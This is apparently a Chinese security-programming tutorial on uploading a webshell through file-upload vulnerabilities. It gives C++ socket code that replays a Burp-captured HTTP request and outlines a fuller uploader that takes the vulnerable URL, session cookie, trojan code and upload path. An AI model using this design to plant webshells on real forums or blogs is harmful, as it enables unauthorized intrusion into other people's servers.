网络安全编程:上传网页木马
2021-07-13
来源:计算机与网络安全
上传木马的模块可以通过直接发包达到上传的效果,实现起来比较简单,代码如下:
void CuploadmumaDlg::OnBnClickedButton1()
{
// TODO: 在此添加控件通知处理程序代码
WSAData wsa = { 0 };
// 初始化
WSAStartup(MAKEWORD(2, 2), &wsa);
// 获取 IP 地址
DWORD dwIPAddr = 0;
m_IpAddr.GetAddress(dwIPAddr);
// 获取端口号
WORD dwPort = 0;
dwPort = GetDlgItemInt(IDC_PORT);
// 创建 SOCKET
SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr_in sockaddr = { 0 };
sockaddr.sin_family = AF_INET;
sockaddr.sin_addr.S_un.S_addr = htonl(dwIPAddr);
sockaddr.sin_port = htons(dwPort);
// 连接服务器
int nRet = connect(s, (SOCKADDR*)&sockaddr, sizeof(SOCKADDR));
// 获取从 BURP 截取的 HTTP 的 request 包
char szText[2048] = { 0 };
GetDlgItemText(IDC_TEXT, szText, 2048);
// 发送包
nRet = send(s, szText, lstrlen(szText), 0);
closesocket(s);
WSACleanup();
}
代码的流程比较简单,主要就是完成了与Web服务器的连接,然后发送通过Burp截取的数据内容,程序界面如图1所示。
图1 发送木马数据包上传木马
该木马发送程序比较简陋,只是简单地提交了对Web服务器请求的数据包。开发一个较为通用的木马上传工具,就不能这么偷懒了。首先,需要提取出存在上传漏洞的地址,因为每个系统存在上传漏洞的地址是不相同的,因此漏洞的地址必须能够接收用户的输入。接着提取HTTP请求头部中的“Cookie”部分,因为上传木马时可能需要登录系统以后才能进行上传,但是为什么发包的时候可以,因为数据包中有COOKIE,因此必须要能让用户输入“cookie”,因为一般的上传漏洞可能是论坛、博客等系统,因此用户可以自行登录后,将cookie复制出来并粘贴到程序中。然后还有木马的内容需要用户自定义,那么程序界面上也需要留下输入木马的文本框,可以直接输入木马的代码,也可以直接让用户输入木马的目录,然后让程序从文件中把木马代码读出。有的上传漏洞能够让用户去控制上传木马后所在的目录,那么还要给用户一个可以设置上传位置的输入框。